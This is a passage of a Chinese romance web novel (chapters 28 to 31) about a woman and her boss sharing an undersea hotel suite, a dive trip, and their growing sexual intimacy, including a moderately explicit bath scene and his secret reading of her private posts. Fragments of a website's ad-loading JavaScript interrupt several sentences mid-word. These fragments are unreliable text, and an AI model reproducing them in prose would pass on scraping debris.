聊着聊着,裴涟突然话风一转:“所以说,这次渗漏真的是很宝贵的经验。我打算总结一下发到我们公司群里,让大家一起学习。” “哎哟。”李馆长揉了揉脑门,“裴先生,海洋馆漏水,这消息一旦传开了,谁还敢来买我们的门票?” “不是也有别的游客知道吗。” “我们只对当时在场的游客说要维护,就算有人说是漏水,那也是他们猜的。”李馆长笑得眼睛眯成条缝,“没有证据的事,风言风语很快就会平息的。” 景音明白了。怪不得她要找他们,因为只有他们两个是人证,知道浅海馆是真的渗了水。 见他们不说话,李馆长又说:“这样吧,今天的门票钱我退给你们。” 裴涟轻声笑了,挑眼看向景音:“行吗。” 这处理方式,着实有点敷衍了。 不过他们也不是真的想来要什么补偿的。景音耸了耸肩,无所谓地答:“行啊。” 她心里惦念着下午想去深潜。方才裴涟连摄影师都很难约到,恐怕深潜教练也很难约? 景音站起来,心猿意马地催着裴涟:“走吧,还要干别的事呢。” “等等。”李馆长又叫住他们。 景音才后知后觉,自 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 己方才的语气,在当下的场合,显得像她在生气似的。 她刚想做出个抱歉的笑容,李馆长就抢先说:“要不这样,我们海洋馆的酒店有个海底套房,情侣的订房率特别高,我跟酒店部说一下,让您两位打折住一晚,怎么样?” 景音:“……嗯?好啊!” 裴涟:“……” “你们的海底套房不是很难订到么?”裴涟有些诧异,“今天怎么有空房了。” 李馆长委婉地笑了笑:“实不相瞒,有漏水的消息传出去之后,海底套房已经被退了两间了……” 从三楼下来后,有人欢喜有人忧。 景音又哼上了阴阳怪气的小曲。 裴涟则步伐缓慢,心事重重。 坐上了回酒店的出租时,裴涟终于对她说:“你自己去住海底套房吧,我还是住酒店。” “行呗。”景音在刷手机,连抬头扫他一眼的功夫都没有,“请你住都不来,我还能吃了你啊。” “……” 李馆长最终给他们许诺的是一间家庭套房,有三个房间,两个床位。 他们两个人一起住,倒也没什么。 只是这肯定不能走公司报销的途径,于是景音立刻决定自己掏钱拿下。 ……说起来,还是李馆长赚了。 景音似乎忘了自己前两天还馋裴涟的身子,只低着头钻研手机。 裴涟懒耷着眼,听到她的回答,莫名觉得不爽。 侧目,见她手机屏幕上是个戴墨镜正在海滩日光浴的肌肉男。 手指向右滑了一下,又是一张肌肉男冲浪图。 看着这肌肉男小麦色的皮肤,景音若有所思地点了点头。 “……我跟你去。”裴涟皱紧了眉头。 景音哦了一声,换了个坐姿,这下看不见她的手机屏幕了。 选好深潜教练后,她就下单付了款。教练对她来说都差不多,她有潜水证,只是需要用潜水机构的设备。 回到酒店,景音简单收拾了一下换洗的衣服。这里并不会退房,明天他们还要回来这里住一晚,后天再坐飞机离开南海市。 收拾好后,她去隔壁敲门。 景音隐约听见裴涟在里面和谁讲话。然而开了门后,又什么声音也没有。 裴涟拿着手机,神色自然:“好了?” “好了。” 她有些迫不及待。早些年,南洋湾的海底套房就在网上火过一阵,那时她刷到后,就一直心驰神往。 两人又赶回了南洋湾酒店。 终于站在了棕榈叶形状的建筑下,景音仰着头,感叹:“决定和你出差,真是我做过最正确的决定啊。” 裴涟:“……嗯。” 酒店大厅一侧,就是一面巨大的鱼缸,不少游客在这里合影。景音猜测这鱼缸和海底套房相连,下方就是他们住的地方。 办好入住,就来了工作人员带领他们坐电梯到了负一层,帮他们开了门。 尽管天天面对海洋馆,景音还是被这场景一瞬间美到失语。 所有窗户都透着冰蓝的光,游鱼正从窗外穿行而过。而房间又极其精致温馨,人造物竟能这样完美地融在水下景色中,衬托得这里像梦境一般脱离现实。 房间高昂的价值在这一刻尽数体现。 “祝您二位度过愉快的一天。” 工作人员半鞠了个躬,退出房间。 28. 深潜 门被关上。 景音立刻察觉,原本身姿还有些散的裴涟突然绷直了背。 她有些好笑地看向他:“你在紧张?” 裴涟抿唇不答,只凝眉意味深长看了她一眼。 景音轻咳了声,拿出一副故作深沉的腔调,装模作样对他说: “你放心,我不喜欢强迫人。你不同意的话,我不会碰你。” 她不顾裴涟有些无语的目光,转身进了屋。 其实,昨天被裴涟关在门外之后,她认真地反思了一下自己。 裴涟虽然是一个富裕环境下长大的阔少爷,身边也不乏各种各样的朋友,但他和一个圈的同龄人不一样,性格往好了说是古板严谨,往坏了说是清高又骄矜。 如果真像他上次所说没有喜欢过别的女孩子,那他某方面的经验,景音基本可以断定,是零次。 亲完自己还能逃跑,并义正言辞拒绝自己的暗示,只能说明一件事。 这家伙是个搞纯爱的。 几年前的事情暂且不提,他现在可是自己的老板兼合作伙伴,关系缩得再近,也还只是同事。 和同事搞在一起,听起来有点恐怖。 所以景音昨晚壮士扼腕地决定——收起对裴涟的某种心思。 自己又没打算和人家在一起,对他是挺不公平的。 而且……她那种行为,对裴涟这样的纯爱党来说,应该挺被讨厌的吧。 没必要把自己弄得像个变态一样。 景音心不在焉地参观着各个房间。 主卧和次卧都有海景窗,并且都带有独立的卫浴。另一边是娱乐室和小厨房,虽然看不见鱼缸,但软装也十分精致到位。 回到客厅,她发现裴涟已经趁她看娱乐室的功夫,入住了次卧。 景音朝次卧探进一个脑袋:“你这就住下了?我还想跟你猜拳决定……” 她愣住了。 裴涟正赤着上半身,背对着她。 背部线条流畅优美,充斥着训练痕迹,肌肉薄厚有度。 听见景音的声音,他转过头,侧脸波澜不惊。 “你……”景音顿了顿,“练得真白。” 裴涟只是轻蹙了下眉,而后站起身向她走了过来。 景音微瞪着眼,圆圆的双眼像小狗一样闪着光。 裴涟在她面前站定,琥珀色的眸不带感情地睨着她。 半晌,伸出只手,按住她的脑袋,把她推了出去。 然后,关门。 “看看都不行……”景音在门外小声哔哔。 果然是被她整怕了。 她有那么可怕吗? 刚才看见的一切深刻烙印在了脑海。景音扶额,差点就真香了。 还有半天,她要忍住! 她不再跟裴涟客气,直径去了主卧。放好包包,她拿出手机,想看看有没有深潜教练的消息。 点了两下手机,屏幕并没有亮。一秒后,黑黑的屏幕才苟延残喘般,显示出一个“电量不足”的提示。 她这才想起,昨晚忘记给手机充电。不仅于此,她还没带充电器。 景音挠挠下巴,又来到了隔壁的门口。 这次她学乖了,先敲了敲门。 “进。”内里的声音闷闷的。 景音推开了门。裴涟在卫生间开了个门缝,好像刚进去,正打算冲澡。 只闻其声,不见其人。 景音很有礼貌地没进屋:“我能用用你手机吗?我手机没电了。” “我手机还有用。”他探出半个头,“着急的话,你先用我平板,密码0826。” “能插电话卡吗?” “可以。” 景音从门缝看见他仍穿着裤子,上半身也披了条浴巾,这样子看着倒是没刚才那么火辣惹眼了。 若非如此,她也不敢蹑手蹑脚进他的房间。 在他床上找到平板后,裴涟已经关上了卫生间的门,里面传来哗哗的水声。 景音克制住自己不去联想,自觉退出了房门。 回到主卧,她打开了裴涟的平板。 印入眼帘的是一张无边稿纸。上面是裴涟写的各种经验随笔,正中央区域,是他上午在人鱼馆时留下的内容。 苍劲有力的字体单独写了几个字:保护初心。 下面洋洋洒洒跟了一些想法。 景音看了看,大概写的是他对水下表演的理解。他认为,这里和游乐园一样,让大人逃离现实,让孩子实现梦想。 并以这个想法为基础,他想对珍珠岛的海洋剧场做点改变。 具体怎么改,他还没写。 裴涟的字很好看,即便是写在平板上,依旧能看出顿挫有力的笔触。 都说字如其人。景音看着他的字,确实如他本人一样,疏冷,高洁。 不知怎的,她突然想起他的目光也有迷离缱绻的时刻。 那样的裴涟,如堕影一直缠在她的心上。她喜欢看他的不清醒,不止是因为那样的他更迷人,更是因为,引起那种不清醒的是她。 景音挥掉自己脑海里的一些想法,帮裴涟保存了文件,换上了自己的手机卡。 平板立刻弹出几条短信和未接电话,都是同一个陌生号码发来的。 短信上说她的电话打不通,让她加联系方式详谈。 应是她约的深潜教练。 裴涟的平板没装社交软件。景音从应用商城下载了一个,登上了自己的账号,加上了教练。 对方通过的很快。这名教练态度热情,并且很会提供情绪价值,在知道景音拥有潜水证并且是海洋馆的水下演员时,做出了很夸张的反应。 「真的吗?!那你一定特别厉害,说不定都可以当我的教练了!」 她虽不排斥这种交流,但仍有些应付不来这种热情,只是礼貌回复:「还好吧。」 约定的时间在下午三点。 景音想起酒店前台也许有租借充电宝,她出门上楼看了看,成功给手机充上了电。 一楼有酒店的自助餐厅,景音路过时正巧看见餐厅在放饭,于是她又留在一楼吃了顿午餐。 南洋湾酒店的自助餐菜品特别丰富,光是餐位费都要比一半自助餐厅贵上不少。幸好海底套房包餐位,她才不用再出一次血。 吃饱喝足,她才回到套房。 推开门,一眼看见裴涟正坐在沙发上看平板。 修长的腿像是在表达不满,难得不羁地跷着二郎腿。神色也很严峻,听见景音回来的声音,头也没抬一下地继续凝着平板。 景音若无其事从他旁边路过,瞥了眼他手中的平板,恍然想起,自己刚才出门的时候,好像没退出社交软件的账号。 她眼皮突然跳了一下,强装镇定又倒了两步,没话找话地问:“你还没吃午饭吧。” “嗯。”他默默出声,“还以为你不知道呢。” “……没叫你一起吃饭,生气了?”景音觉得好笑,“你不是躲我呢吗。” 裴涟把腿放了下来,换了个姿势,没理她。 景音看了眼他的平板:“那什么,我还有点东西没弄完,平板再借我用一下。” “你是想说你帐号没退出吧。”裴涟终于抬起眼瞅着她,“我帮你退了,不用谢。” “……” 见她发愣,裴涟调出主界面给她看:“软件都删了。” 景音才点点头,面上的紧张褪去一点,回了卧室。 关上门,她掏出手机,打开了自充电开机起就没再看过的社交 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 软件。多端登录的消息提示她,大约半小时前,平板端退出了登陆。 差不多是她吃饭的那个时间。 景音这才放下心来,松了口气。 她躺在床上看了会儿窗外游过去的蝠鲼和豹纹鲨,不可免俗地拿起手机,对着自己和游鱼一顿合影。 自从裴涟给她拍过两张照片之后,她觉得自己有点喜欢上了拍照。 挑了两张最好看的,景音难得地发了个朋友圈。 时间到了两点半,她才收拾了一下,准备出。 裴涟还坐在客厅里,不知道在平板上捣鼓什么。 介于刚才他还因为没叫他吃饭跟自己生气,景音清了清嗓,问他:“我去深潜,要不要一起来玩。” 其实她问的颇不诚心,因为她只约了一个教练,裴涟要是一起去的话,只能让他在岸上玩沙子了。 门外传来敲门声。裴涟起身,看了她一眼,先去开了门。 门口有男性的声音:“您好,您的外卖。” 裴涟:“谢谢。” 景音:“……” 裴涟拎了外卖回来,自顾自去了小厨房那边的吧台。 路过她时,仿佛轻不可闻地叹了口气。 景音莫名地汗流浃背,这,是不是有点可怜。 明明两个人一起出差,自己吃自助还跑出去深潜,裴涟却要在酒店里工作吃外卖。 罢了,可能这就是做老板要承受的吧。 景音摇了摇头,出门。 提供深潜项目的旅行社就在南洋湾度假区这一带,景音扫了个共享单车,十分钟就找到了地方。 教练已经在旅行社里等她了。 他们沟通很顺利。教练让景音称呼他为Steven,还在旅行社里买了等下潜水的泳衣。一切准备就绪,他们坐上船出了海。 虽然景音经验充足,Steven还是按照惯例给景音讲解了各种注意事项,景音也认真听着。 终于,她背上氧气瓶,穿戴好护目镜和脚蹼,扑通一声投进海里。 清晰的视野,和海洋馆里完全不一样。 下午三点的阳光强烈又耀眼,景音戴着护目镜,清晰地看清了海底的一切。 海平面之下是如此充满生命力,无论是游动的鱼群还是静止的珊瑚,都让景音热泪盈眶。 它们和自己生活在同一个星球,都是这个星球的主人。 景音无可避免地想到了千里之外的小猪。 各色的鱼在她面前游来又离去,仿佛对她这个入侵者也很感兴趣。景音却再难以恢复刚才的兴致,身体虽然轻盈地荡着,心底却始终很沉。 时间到了,她结束了深潜,回到了岸上。 Steven用一口很重的本地话口音告诉她:“你刚才在水下真美,我帮你拍了几张照。” “谢谢你。”景音对他报以微笑。 Steven有点羞赧,小麦色的脸颊似乎有点红:“我能和你合个影吗?” “嗯?”景音眨了眨眼,“可以啊。” 他开朗地笑了,反举起相机冲着两人,露出一排洁白的牙。 告别Steven,景音准备回酒店。她边骑着共享单车,边听见手机一直在响。 还回单车后,她才有空拿出手机。Steven发来了好几张照片,其中还有他两人的合照。 景音边进酒店,边把照片一一保存。 刷房卡进了屋,裴涟仍坐在沙发上,和之前保持一个姿势看着平板。 景音看了眼时间,她不过只去了一个多小时。 她径直向裴涟走过去:“我有点事想跟你商量。” 裴涟放下了平板。 “这么巧。”他懒拖着尾音,“我也有点事想问问你。” 29. 色令智昏 洗完澡出来后,外面已经了无声音。裴涟围上浴袍,身上挂着湿气,去隔壁房间敲了敲门。 无人应答。 他皱了眉,推开房门,内里空无一人。洁白的床铺上有些褶皱痕迹,他走得近了些,拿起摆在床正中央的平板。 解锁,屏幕亮起。 对方的头像是张夕阳椰林下的背影,男人小麦色的肌肤结实分明,荷尔蒙的气息溢满屏幕。 -「美女,你朋友圈怎么没自己照片啊?」 「我不常玩朋友圈的。」 -「看来是个高冷的美女呢!三点,不见不散哦。」 「好。」 琥珀色的眼珠映着平板发出的白光。此刻,与妒忌共同冒出来的,是好奇心。 这些年景音虽然没删掉自己的联系方式,但一直对他屏蔽了朋友圈。 他无数次点进她的头像,里面都只有一条长横线——示意空空如也。 裴涟指尖轻动,点进了景音的头像。 内容很多。 但,日期很早,最近的一条也在好几年前。 而且竟都是仅自己可见。 看见最顶端的那条,裴涟双眼猛地怔住。 “他脖子的口感比想象的还要好。” 手指无法控制地向下翻,裴涟知道自己这样做很不道德,亦不敢想象如果被景音知道了他的行为,她会作何感想。 “他居然这么轻易就醉了。” “今天看见他哭了。” “找到一张他的毕业照,听说他还是要出国。[图片]” “很想睡他。” “他头发滴水的样子好性感。” “他想亲我,我躲开了,其实我心跳得很快。” “他送我花,我很喜欢。” …… “他这么执着是因为我救过他吗。” “我抱住他了,他牵了我的手。” “毕业了,再也见不到他了。” …… “我喜欢他。” “裴涟总是看我,还以为我没有发现。” “这种心情应该是喜欢吧。” 裴涟退出账号,像毁灭罪证一样,删掉了软件。 擅抖着手打开了自己的手机,在通讯录里翻找着,终于找到一个电话号码,拨出。 嘟声很轻地反复回响,裴涟却觉得如此难捱。 对面终于接起电话。 “喂,小裴?” “桐姐。”裴涟哑着声音,“我想找你做个心理咨询。” - 平板的光衬托着几行苍劲有力的字: 1.性格冷漠,缺乏同理心。 2.不通人情世故。 3.对于喜欢的人事物持强烈排斥态度。 4.均有好转。 解决方案:…… 套房的门被打开,裴涟抬起了头。 景音的头发明显粘过海水,即使被风吹干了,还是有些凝结干燥。 她径直走了过来,脸蛋被日光晒的微微发红:“我有点事想跟你说。” 裴涟熄了屏幕,抬眸看向她。 “这么巧,我也有点事想问问你。” “什么事?” 裴涟很温顺地拍拍旁边的沙发。 “不急。过来坐下,先说你的事。” 他与往常没什么两样,但这份主动让景音有点意外。 她以为,裴涟已经怕了和她单独在一起才对。 景音绕过茶几坐在他旁边,开门见山地开了口:“我想资助小猪放生,但是我没钱。 裴涟好像并不惊讶。 “你能教我赚钱吗?”景音认真看着他,“在尽量短的时间内,赚更多的钱。” 裴涟看着她,眼睛都没眨一下,似乎她的问题根本不需要花费时间思考。 “有些新风口符合你的预期。AI、新能源、跨境电商,甚至已经饱和的自媒体,还有由AI带来复兴的半导体,都可以算在其中。但这都不是主要问题。” 他靠在了沙发上,声音沉缓:“你能拿出多少本钱。” “大概……这次年底的分红那么多吧。” 这下裴涟摇摇头:“赚钱没那么容易。” 景音对商学一窍不通,但她记得裴涟去国外读的是TOP级别的商学院。 连他也这么说,她有点失望地叹了口气。 裴涟垂下眸:“如果只是为了帮助小猪,除了自己提供钱,你还可以吸引别人投资。” “……投资?” “嗯。只要这件事有利可图,就会有人投资。” 但景音想不出放生一条白鲸,能从中获得什么“利”。 什么商人才会做这笔买卖? “再说吧。”她有点丧气,“你呢,找我有什么事?” 裴涟没接话,就那么坐在沙发上盯着她。眼神直勾勾的,散漫气场缓缓蔓延。 景音觉得脚底板冒上一股凉气。 “看什么?”她忍不住问。 裴涟扬了扬下巴:“你晒黑了。” 刚才出门还是白秧秧的一个人,现在明显比刚才深了一个度。 倒显得更有活力些。 裴涟看向她的左肩,极轻地眨了下眼。 “是吗?”景音疑惑地抬起胳膊,“这南洋湾的太阳是毒啊,一个小时就给我晒黑了。” 这一看,她倒是在肩上看见一抹干掉的细砂。 仔细回忆,好像是Steven拍照时轻轻搂了她一下。 “先不说了。”景音站起身,“在旅行社那边就光冲了冲,也没洗干净,我先去好好洗个澡。” “好啊。” 裴涟提了提唇角,眼神微黯:“也好。” 景音这才想起他还找自己有事。 “你到底什么事啊?”她又问,“急吗,不急我就先去了。” 慢慢悠悠的,倒是把她弄得挺好奇。 裴涟仍带着浅浅的笑意:“我不急。” 景音莫名感觉他话里有话。但一想到自己身上还残留着干涸的咸咸的海水,她就仿佛全身痒痒。 顾不上考虑太多,她先回了房间。 把衣服脱掉一扔,景音钻进了浴室。浴室也有扇长窗,可以看清外面的游鱼。 长窗前还安了一帘卷起的百叶窗,估计是怕住客没有安全感时,可以放下帘子。 景音早习惯了游鱼,这对她来说倒真没什么。仔仔细细把身上洗了一遍后,她放了一浴缸的水,打算舒舒服服泡个澡。 钻进热水中,她顿时感觉无比的惬意。 酒店提供的沐浴球很好闻,淡蓝色的泡泡溢满水面,景音漫无目的地随手捏着,大脑放空,甚至有点昏昏欲睡。 所以浴室的门被轻轻打开时,她还以为是自己的错觉。 她有些懵地看着雾气弥漫的浴室闪进一个身形,大脑还没从空白中缓过劲来。 还好浴缸中全是蓝色泡泡,她瞬间红了脸。 “裴涟?”她下意识坐得深了些,“我还没洗完。” 裴涟关上门,低头看了她一眼。 这一套动作行云流水,景音有些发愣:“你……干什么。” 他不回答,走了过来。一步,一步,缓慢又平静。 裴涟的眼底仿佛压抑着暗流,隐藏在这副矜贵皮相下的、从未展露出来的一种东西,随着他的步伐,一点点渗了出来,充斥了整个狭小空间。 他视线压 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 得极低,只在她脖间游移了一瞬,景音便觉得,一种埋藏在身体深处的,生物的避险本能被激发了出来。 她蜷了蜷脚趾。 裴涟已经到了她身边,单膝跪着,搭了半只胳膊在浴缸边,脸颊也抵了上来。 景音看见他的睫羽被浴室的潮气弄得有些湿了。 “上次,你不是说,想继续吗。” 他凝着她,视线痴缠。 磨耳的低音慢悠悠传进景音的耳朵,理解了他话语的含义后,她有些怔。 他在等她的回复。 无论何时,他都保持着这种良好教养。景音滞了呼吸,拉过他悬在水面的手,把他带入水中。 过满的池水,瞬间溢了出来。 双臂缠在他的脖间,唇上窒息的纠缠让景音觉得下一秒可能要昏过去了。水声混杂着吻声,在密闭的空间回响,连雾气都变得浓稠难分。 “脱掉。”景音眸光潋滟,“上下都脱掉。” “不要。” 他竟在笑。 “不要怎么……” 裴涟的发尖在吻她时粘上了水。他抬起头,两滴水珠滑过他眼角,像极了泪。 她很快就知道裴涟要做什么了。 一条豹纹鲨游过窗外,反反复复打着转。 裴涟紧盯着她,不肯放过她一丝一毫的表情变化。景音同样凝着他,透过泪珠,她终于在他一贯淡漠至极的眼神中看见了浓重的侵略性。 放纵的阴翳,隐忍的癫狂。 水波荡出涟漪,一圈,又一圈。 终于,她瘫在他的臂弯,浑身被抽了力气般不堪一击。裴涟吻了她的发,一路辗转到她的唇角,又留恋地用手指抹上她的唇。 景音有点嫌弃地推开他的手。 “在水里,都化掉了。”他笑。 景音蓦地脸红,想站起身。 又有点羞赧,他们好像做了什么,又好像还没做成什么。 “你先出去。”她连声音都像被抽了丝。 裴涟没听她的。 他把她打横抱出了浴缸。两人流下一大滩水渍,景音觉得大部分是裴涟的,因为他还完好地穿着衣服。 好气。 “不公平。”她嘟囔。 “嗯。” 裴涟把她放进淋浴间:“能站住吗。” 景音瞬间失了底气。 要说不公平,也不是对她不公平。 毕竟,爽到的可不是裴涟…… 她的脸蛋红得想要滴出血:“我自己能洗。” 为了证明自己,她松开了他的胳膊。但景音没想到腿已经这么软,刚站稳一秒,就险些坐下去。 最后还是裴涟帮她洗净,又把她抱回了床上,吹干头发,塞进被窝里。 然后,才自己进了浴室,处理身上的蓝色泡沫。 景音盯着窗外游过的豹纹鲨,想起方才在浴室时,也是这一条在窗外游来游去。 一种被其他生命窥探了隐私的诡异感钻上心头,景音蓦地把自己埋进枕头。 感觉被什么东西硌了一下,她才从枕头底下找到了自己的手机。 她打开社交软件。回酒店时,她选了几张深潜的照片发在朋友圈。此时这些照片和她在酒店的自拍一起,收获了很多点赞评论。 大多来自于她的大学同学,平时朋友圈活跃的同事却很少见。 景音忽然觉察到哪里不对,暗骂了自己一句,犹疑着要不要删掉这两组照片。 在同事眼里,她这趟出差估计成了公费旅游。 裴涟正好出了浴室。他裹了条浴袍,松散地露出胸口的肌肤。 景音顿觉色令智昏。 她忘掉了朋友圈的事,几分期待地看向他。 30. 赌约 景音从被子里露出半张脸。 眼睛一眨一眨地,像极了贪心的小朋友,在盯着货架上某件想要了很久的玩具。 见她这这副模样,裴涟又俯身过来,轻柔地吻着她。只是两人中间隔着层被子,这让景音很不满意。 突然间,裴涟止住了吻。 他声音有些哑,半警告似地对身下的人开口:“别蹭。” “不要。”景音觉得自己的身体在被窝里滑溜溜的,“我好不舒服,裴涟。” 她又挣扎着想去触碰他的唇,动作生涩,完全追逐本能反应。 裴涟干脆坐了起来,和她拉开了距离,看着她的眼神带着深邃不可知的情绪。 景音有些不解:“不是你说要继续的吗?” 裴涟起身,从她行李箱找出件她的睡裙扔了过来:“先穿上。” “……” 他背对着她。景音有点赌气地拉开被子,套上了睡裙。 “穿好了吗。”他问。 “嗯。” 裴涟这才肯转回身。 他又恢复了常态,清明的眼神像在对比她的不堪。景音脸颊一片粉,也不知是生气还是害羞。 “你到底什么意思,又做那种事,又……” 裴涟仔细瞧着她:“你不喜欢我那样做?” “……” “喜欢,还问那么多做什么。” 他将她的长发别在耳后,安抚似地揉了揉她的耳垂。 这动作惹得景音轻眯了眼,她拉过他的手放在嘴边,轻咬了一口。 又用舌尖舔了舔他的指尖。 两人又滚到了床上。 景音在上面。 她捏着裴涟的脖子,折磨着他脖颈上那颗红痣。断断续续的气息在她的头顶,景音抬头,满意地看到裴涟的眼神再次迷离失焦。 手指探进他的衣服,滑腻的手感混着酒店佛手柑味沐浴液的味道,她没忍住,咬在了他的胸口。 身下的人紧绷,再次把她推走。 景音倒在床的另一边,真的有点生气了。 “裴涟。”她咬牙切齿,“你唐僧啊!” 裴涟重新束紧了被她扯的歪七扭八的浴袍,正色看向她:“别闹。” 景音又不甘心地爬过去扯他的衣角,被他敲了敲脑袋。 “我们是什么关系?”他问。 “你是在逼我给你名分吗。”景音嘻嘻笑着,“那我可没法给你。” “那么,我们之中必须有一个人保持理智。” “两个人都没有理智,听起来也很不错。” “我要对你的行为负责。” 裴涟再次拉住她悄悄摸上来的手:“不然,你也不会对自己负责的,是吗。” 景音理解错了他的意思。 “我对别人可不这样。”她努了努嘴,“你也是我初恋。” 这话好像让他神情有点松动。 裴涟低头,凝着她的眼。 “那你先把朋友圈权限给你初恋解开。” 景音高兴地去抓手机,两下完成了任务,伸到他眼前给他看: 「朋友圈和状态-已开启」 裴涟点点头,摸了下她的软软的发丝:“乖。” 两人大眼瞪小眼。 “然后呢?” “什么然后。” “……你答应和我——” “啊。”他移开眼神,“我答应了吗。” 景音终于明白了,他就是故意的。 故意来撩拨得她欲罢不能,又宁愿憋死自己也不肯继续到下一步。 为什么? 虽然景音恋爱经验基本为零,但她大一的时候没少看方小芸谈恋爱。 这欲迎还拒的模样,像极了方小芸还没和前男友们在一起的态度。 景音得出结论。 他在钓她。 从那个“坏掉的”吹风机开始,他两次进她的房间,都吊足她的胃口。 而她顺着杆子蹭蹭往上爬,却发现上面一块肉也没有。 他跟谁学的? 真是有够恶劣的。 景音报复般直截了当地开了口:“我不会和你在一起的,裴涟。” 长久的沉默。 窗外的鱼默默横行,证明时间并未静止。裴涟的表情如此安静,好像这句话没有对他产生任何影响。 片刻后,他露出一种景音许久未见的神情。 他桀骜地弯唇一笑。 “是吗。”语气带着散漫的傲然,“打赌?” “……怎么赌。” “半年,赌你我的股份。” “半年后,如果我们在一起了,你的股份我原价收购。” “如果你我还没在一起,我持有的所有股份,送你。” 他倾下身子:“那时候,或许你可以真的把珍珠岛卖了,然后用那笔钱,把小猪放生。” - 景音想不通,为什么裴涟这种精明的商人,会和她做那种赔本的赌注。 唯有一个解释,那就是他百分百肯定自己会赢。 她看着桌对面的裴涟举起杯子。青柠片夹在长筒玻璃杯上,冰蓝色的液体冒着气泡,和傍晚粉得发紫的天际线交相辉映。 椰林与棕榈树被风吹得啪啪响。两人正坐在度假区某餐厅的露台,一起吃晚餐。 “只要你问心无愧,就不用删。” 他轻呷一口饮料。 景音怕以自己的情商想不全面,身边又只有他能设身处地地考虑她的问题,恰好,他还是个人精。 于是她真诚地向裴涟发问下午的朋友圈要不要删掉。 得到这个答案,她认真想了想。住酒店和深潜都是她自费,而这段空闲时间也是为了等待明天的拍摄。 她自然问心无愧,可是这不代表她可以不在乎别人的想法。 餐品很快上来了。他们选择的是一家马来西亚餐厅,口味辛辣偏酸,开胃效果一流。景音吃了个半饱,决定还是不删掉了。 那些照片,她都挺喜欢的。 做出这个决定后,她感觉放松不少,带来的结果便是她又点了盘咸蛋黄炒蟹钳。 裴涟对蟹类过敏,一口也没吃。景音独享美食,难得地食欲大开。 看她啃完了蟹钳,裴涟才缓缓开口:“酒店顶楼有个酒吧,等下要不要去坐坐。” 景音瞥了一眼他桌上的饮料——打满气泡的青柠薄荷味果汁。 “你去酒吧喝什么,喝酒?” 言下之意明了:你又不能喝酒,去酒吧干嘛。 “嗯。喝酒,不行吗。” 裴涟漫不经心地看着她。天色已经昏暗,街灯初上,他衬衫露出的胸口皮肤被灯光照成了蜜色。 景音敛回眼神:“好啊。” 这家伙,怕不是又想出什么法子来招惹她。 景音的目标亦很坚定:保持嘴硬,能上就 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 上。 两人皆心猿意马地吃完饭。天色全暗后,他们回到酒店。 酒店大堂已经摆出了顶楼酒吧营业的广告。小小一个黑色背板的霓虹招牌,和华丽大气的大堂形成鲜明的对比,吸引着住客的目光。 他们坐电梯去顶楼。光洁如镜的电梯门反射出两人的身影,景音穿了件长裙,露出细细的脚踝。 她当镜子照了照自己这一身,满意地抿了抿唇。 天台种了很多热带植物,一些霓虹招牌夹杂在其中。有爵士乐队在一角演奏,配上露天的深色夜空,氛围感很足。 两人去吧台要了点利口酒。有个长发黑裙的女人坐在吧台上,上上下下直盯着裴涟看。 裴涟还是白天那副松散风流的模样,轻倚在吧台的圆凳上,好像丝毫没发现自己被谁盯上了。 景音被那女人的眼神搞得有点不舒服。 她搂过裴涟的胳膊,挡住了女人的视线。 气质疏冷的女人揽着高挺英俊的男人,眸光森寒若星,向身后轻瞥了眼。 黑裙女人轻嗤了声,端着酒杯走了。 景音感觉心里怪怪的。 这种和人争抢的感觉,她并不喜欢。 况且裴涟并不是她的男朋友,她却还是做了这种举动。 她感觉自己的行为变得毫无逻辑可言。 裴涟低头看她:“领地意识还挺强。” 那股奇怪的感觉烟消云散,景音掐了下他的胳膊:“是占有欲。” “你对我还有占有欲呢。” “这么漂亮的人形***,当然有占有欲了。” “……” 裴涟瞥了眼吧台。酒保在擦拭杯子,调酒师在专注地调酒,乐队吹着低声的萨克斯,很好地遮盖住了景音的污言秽语。 调戏他的感觉,让景音心情愉快。 两人的酒很快调好了。他们挑了处安静的位置,刚坐下,裴涟突然说:“这么说,你对我的功能很满意。” 景音:“……” 他的手指轻轻摩着酒杯:“还想要吗。” 四个字像铃铛轻轻撞击在景音心上。 她有点怄气,怎么他只用四个字,就能把自己撩拨得面红耳赤。 景音强装镇定:“你知道的,我想要的不止是你的手。” “……” “还有——” 旁边走过去一对嬉笑的男女。景音微怔,裴涟刚碰过酒杯的手指带着湿凉的气息,正捂在她的嘴上。 他耳根有些红,责备地看着她。 景音浅浅地笑。 他缩回了手。 她看着裴涟拿起桌上的纸巾擦干手心,觉得他耳朵比刚才更红了些。 景音满意地喝了口酒。 冰凉的液体刚下肚,不一会儿,腹中传来一阵钻心的痛。 她捂住腹部,脸色微变。 裴涟看出她的异样:“怎么了?” “……”景音有些难堪,“肚子痛。” 还没喝多少的酒被他们舍弃在天台。两人坐电梯回了套房,景音钻进自己的房间不出来了。 果不其然,胡吃海塞的必经结果,就是拉肚子。 好在她带了肠胃炎的药。裴涟来敲过两次门慰问她,景音早已把门锁得严严实实,除非他从鱼缸里游过来。 好尴尬。 唯一庆幸的是,套房的隔音比之前的商务酒店好很多,关上门后什么也听不见。 31. 水母馆 这晚裴涟没再来钓她,终于在睡前,药生效了。 景音觉得身体被掏空,瘫软地睡了个安稳觉。早上起床后,虚弱又无力。 洗漱完打开房门,吧台放着早饭。一个个精致的小碗都被盖上了盖子,景音伸手探了一下,还是温热的。 裴涟听见她的门响,也出了卧室。 “我叫客房服务送来的。”他指的是吧台上的早餐,“对肠胃好的,一样叫了一点。” 裴涟帮她一个个去了盖子。景音嘴巴里没什么味道,唯独挪过一碗山药粥,一点点地喝着。 裴涟一直瞧着她。 “如果还是不舒服,我就把拍摄延后。” 景音摇头:“不用。” 本来她就发了那样的朋友圈,要是再晚回去几天,也不知道别的同事会怎么想。 况且海洋剧场现在只有许晏霖和一个半吊子同事,她答应了许晏霖,得赶在这周周末之前回去。 之前元旦的直播给海洋剧场拉了些人气,根据谢薇这两天跟她吐槽的情况,除了刚开始恢复工作日那两天人比较少,现在客流量又起来了。 保持这个状态,到过年时,馆里一定更热闹。 吃完一碗粥,景音觉得恢复了些力气,又顺手解决了几碟精致的早点。 